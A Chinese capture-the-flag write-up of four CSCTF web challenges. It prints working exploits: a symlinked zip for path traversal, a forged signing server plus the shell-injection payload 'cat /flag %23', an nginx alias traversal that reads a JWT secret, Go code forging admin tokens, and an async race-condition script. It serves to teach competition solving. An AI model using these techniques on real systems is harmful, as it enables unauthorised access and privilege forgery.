开始打这种难度高的CTF了,这辈子有了
Web
Web ZipZone 下载附件开工
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import logging import os import subprocess import uuid from flask import ( Flask, abort, flash, redirect, render_template, request, send_from_directory, ) app = Flask(__name__) upload_dir = "/tmp/" app.config["MAX_CONTENT_LENGTH"] = 1 * 10**6 # 1 MB app.config["SECRET_KEY"] = os.urandom(32) @app.route("/", methods=["GET", "POST"]) def upload(): if request.method == "GET": return render_template("index.html") if "file" not in request.files: flash("No file part!", "danger") return render_template("index.html") file = request.files["file"] if file.filename.split(".")[-1].lower() != "zip": flash("Only zip files allowed are allowed!", "danger") return render_template("index.html") upload_uuid = str(uuid.uuid4()) filename = f"{upload_dir}raw/{upload_uuid}.zip" file.save(filename) subprocess.call(["unzip", filename, "-d", f"{upload_dir}files/{upload_uuid}"]) flash( f'Your file is at <a href="/files/{upload_uuid}">{upload_uuid}</a>!', "success" ) logging.info(f"User uploaded file {upload_uuid}.") return redirect("/") @app.route("/files/<path:path>") def files(path): try: return send_from_directory(upload_dir + "files", path) except PermissionError: abort(404) @app.errorhandler(404) def page_not_found(error): return render_template("404.html") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=5000)
一个zip上传功能,没几行代码看就完了
观察到/files直接用send_from_dictionary方法发送文件,没有对文件路径进行检查
看到这里条件反射想到路径穿越。于是寻找sink点
sink:
注意到,服务器在解压zip时并没有对内容进行检查。
一眼丁真:软连接攻击
但是flag在根目录下没权限,卡这了。后来我队友告诉我在entrypoint.sh里有这样一行代码
1 cp /home/user/flag.txt /tmp/flag.txt
我:??????????????
这下有权限了。
linux的软连接类似于windows里的快捷方式。我们新建一个文件并添加软连接读取../../../../../../tmp/flag.txt
1 2 3 ln -s ../../../../../../tmp/flag.txt evil.txt zip -symlinks evil.txt evil.zip
提交,访问得flag
CSCTF{5yml1nk5_4r3_w31rd}
Feature Unlocked 下载附件
main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from itsdangerous import URLSafeTimedSerializer app = Flask(__name__) app.secret_key = os.urandom(16) serializer = URLSafeTimedSerializer(app.secret_key) DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338' NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60 DEFAULT_PREFERENCES = base64.b64encode(json.dumps({ 'theme': 'light', 'language': 'en' }).encode()).decode() def get_preferences(): preferences = request.cookies.get('preferences') if not preferences: response = make_response(render_template( 'index.html', new_feature=False)) response.set_cookie('preferences', DEFAULT_PREFERENCES) return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response return json.loads(base64.b64decode(preferences)), None @app.route('/') def index(): _, response = get_preferences() return response if response else render_template('index.html', new_feature=False) @app.route('/release') def release(): token = request.cookies.get('access_token') if token: try: data = serializer.loads(token) if data == 'access_granted': return redirect(url_for('feature')) except Exception as e: print(f"Token validation error: {e}") validation_server = DEFAULT_VALIDATION_SERVER if request.args.get('debug') == 'true': preferences, _ = get_preferences() validation_server = preferences.get( 'validation_server', DEFAULT_VALIDATION_SERVER) if validate_server(validation_server): response = make_response(render_template( 'release.html', feature_unlocked=True)) token = serializer.dumps('access_granted') response.set_cookie('access_token', token, httponly=True, secure=True) return response return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE) @app.route('/feature', methods=['GET', 'POST']) def feature(): token = request.cookies.get('access_token') if not token: return redirect(url_for('index')) try: data = serializer.loads(token) if data != 'access_granted': return redirect(url_for('index')) if request.method == 'POST': to_process = request.form.get('text') try: word_count = f"echo {to_process} | wc -w" output = subprocess.check_output( word_count, shell=True, text=True) except subprocess.CalledProcessError as e: output = f"Error: {e}" return render_template('feature.html', output=output) return render_template('feature.html') except Exception as e: print(f"Error: {e}") return redirect(url_for('index')) def get_pubkey(validation_server): try: response = requests.get(f"{validation_server}/pubkey") response.raise_for_status() return ECC.import_key(response.text) except requests.RequestException as e: raise Exception( f"Error connecting to validation server for public key: {e}") def validate_access(validation_server): pubkey = get_pubkey(validation_server) try: response = requests.get(validation_server) response.raise_for_status() data = response.json() date = data['date'].encode('utf-8') signature = bytes.fromhex(data['signature']) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(SHA256.new(date), signature) return int(date) except requests.RequestException as e: raise Exception(f"Error validating access: {e}") def validate_server(validation_server): try: date = validate_access(validation_server) return date >= NEW_FEATURE_RELEASE except Exception as e: print(f"Error: {e}") return False if __name__ == '__main__': app.run(host='0.0.0.0', port=1337)
validation_server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from flask import Flask, jsonify import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS app = Flask(__name__) key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') @app.route('/pubkey', methods=['GET']) def get_pubkey(): return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'} @app.route('/', methods=['GET']) def index(): date = str(int(time.time())) h = SHA256.new(date.encode('utf-8')) signature = DSS.new(key, 'fips-186-3').sign(h) return jsonify({ 'date': date, 'signature': signature.hex() }) if __name__ == '__main__': app.run(host='127.0.0.1', port=1338)
审计完之后大致有个思路了:先绕过签名校验得到访问features的权限,再用features打RCE
套题蒸鹅心
验证权限的地方跟wanictf的one_day_one_letter神似。问题在于wanictf中的挑战可以直接在请求包中伪造验证服务器。顺着这个思路,我们也许也要通过某些方法伪造验证服务器。
sink:
这两行代码在这里纯纯意义不明(bushi)python里的get在字典中没有参数的时候返回值为默认值,即DEFAULT_VALIDATION_SERVER
而cookie中preferences字典里不可能有validation_server这个参数,也就是说这个参数每一次都是默认值
burp抓包看preference为eyJ0aGVtZSI6ICJsaWdodCIsICJsYW5ndWFnZSI6ICJlbiJ9,base64解码后得到{“theme”: “light”, “language”: “en”}
为了绕过签名校验我们生成对公钥和私钥
1 2 3 4 5 6 7 8 9 from Crypto.PublicKey import ECC key = ECC.generate(curve='P-256') with open('pubkey', 'w') as f: f.write(key.public_key().export_key(format='PEM')) with open('privkey', 'w') as f: f.write(key.export_key(format='PEM'))
随后服务器上起个伪造的验证服务,将时间提前10000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from flask import Flask, jsonify import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS app = Flask(__name__) key = ECC.import_key('''-----BEGIN PRIVATE KEY----- MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgwwP94eTUCNYIgIye QfbV7ezstOEOjPo27AsYGZ3EI5+hRANCAATmA8G24jcmc63PgzlImXApG9inScMH f1Tqq2WLDPEioUiULfcxHzJohj/i5kH0ZTtgViPHufUdsidIqEgnMmvM -----END PRIVATE KEY-----''') # 复制privkey内容贴进来 pubkey = key.public_key().export_key(format='PEM') @app.route('/pubkey', methods=['GET']) def get_pubkey(): return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'} @app.route('/', methods=['GET']) def index(): date = str(int(time.time()) + 7 * 24 * 60 * 60 + 10000) h = SHA256.new(date.encode('utf-8')) signature = DSS.new(key, 'fips-186-3').sign(h) return jsonify({ 'date': date, 'signature': signature.hex() }) if __name__ == '__main__': app.run(host='YOUR VPS IP', port=3000)
修改cookie中preference内容为{“theme”: “light”, “language”: “en”, “validation_server”: “YOUR VPS IP:3000”}并且进行base64编码。
带着这个cookie访问https://feature-unlocked-web-challs.csc.tf/release得到访问features权限
接下来就到了中国CTFer最熟悉的linux RCE环节())(别笑,老外比赛里全是xss一点不会)
甚至有回显,甚至没过滤,他真的我哭死
随便打,想怎么打都行了(%23为#的url编码)
1 GET: ?text=cat /flag %23
CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}
Trendz 审计代码,得到题目大致思路为伪造admin的jwt
这题正解是xss(admin有bot但superadmin没有),而trendzzz正解是伪造jwt。喵的不会xss干脆全部伪造jwt做得了
validation.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 func ValidateAdmin() gin.HandlerFunc { return func(c *gin.Context) { const bearerSchema = "Bearer " var tokenDetected bool = false var tokenString string authHeader := c.GetHeader("Authorization") if len(authHeader) != 0 { tokenDetected = true tokenString = authHeader[len(bearerSchema):] } if !tokenDetected { var err error tokenString, err = c.Cookie("accesstoken") if tokenString == "" || err != nil { c.Redirect(302, "/getAccessToken?redirect="+c.Request.URL.Path) } } fmt.Println(tokenString) claims := jwt.ExtractClaims(tokenString) if claims["role"] == "admin" || claims["role"] == "superadmin" { fmt.Println(claims) } else { fmt.Println("Token is not valid") c.AbortWithStatusJSON(403, gin.H{"error": "User Unauthorized"}) return } } }
发现要伪造身份为admin或superadmin,对应两个flag(trendz和trendzzz)做法完全一样
但是没有jwt.secret我们什么都干不了,而jwt.secret在与main.go一样的web app根目录下
然后我就红温了,后来队友告诉我忘看配置文件了
config
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 user nobody; worker_processes auto; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; location / { proxy_pass http://localhost:8000; } location /static { alias /app/static/; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } }
注意到
我:??????????????????????(怎么这一幕有点似曾相识,好像ZipZone也是没看配置文件导致没做出来)
谁都没有想到sink居然在他喵的配置文件里()))这里的static有个alias还没有检查路径穿越
直接访问
就等同于
1 /app/static/../jwt.secret
就等同于
得到jwt的密钥之后伪造即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package main import ( "fmt" "time" "github.com/golang-jwt/jwt/v5" ) func main() { // 使用给定的密钥 secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n") // 创建JWT,包含admin角色 token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ "username": "admin", "role": "admin", "exp": time.Now().Add(time.Hour * 24).Unix(), // 设置过期时间为24小时 "iat": time.Now().Unix(), }) // 签名令牌 signedToken, err := token.SignedString(secretKey) if err != nil { fmt.Println("Error generating token:", err) return } fmt.Println("Generated Admin JWT:", signedToken) }
进入admin的dashboard查看唯一一个post得到flag
1 CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}
Trendzzz 与trendz中我的做法完全相同,把admin换成superadmin就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package main import ( "fmt" "time" "github.com/golang-jwt/jwt/v5" ) func main() { // 使用给定的密钥 secretKey := []byte("7e0e4bba1492788a15328814b328dba359839460\n") // 创建JWT,包含superadmin角色 token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ "username": "superadmin", "role": "superadmin", "exp": time.Now().Add(time.Hour * 24).Unix(), // 设置过期时间为24小时 "iat": time.Now().Unix(), }) // 签名令牌 signedToken, err := token.SignedString(secretKey) if err != nil { fmt.Println("Error generating token:", err) return } fmt.Println("Generated SuperAdmin JWT:", signedToken) }
flag登陆就送
Trendzz 题目说要发表12个post就有flag,但是你只能发表10个post
像这种题典型的条件竞争,在第十个post发送的时候连续发3个post就行
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import aiohttp import asyncio url = 'YOUR URL/user/posts/create' post_data = { "title": "1", "data": "1" } cookies = { "accesstoken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjUyNzQxMzksImlhdCI6MTcyNTI3MzUzOSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImgifQ.PT9VM2KV4dSlp3uNTfRuwsJ_3hfaPKaLWNbkZiWt0TQ" } async def Post(session, semaphore): async with semaphore: async with session.post(url, json=post_data, cookies=cookies) as response: text = await response.text() print(f"{text}") async def main(): concurrency_limit = 100 semaphore = asyncio.Semaphore(concurrency_limit) async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=concurrency_limit)) as session: tasks = [] for i in range(50): tasks.append(Post(session, semaphore)) await asyncio.gather(*tasks) asyncio.run(main())
CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}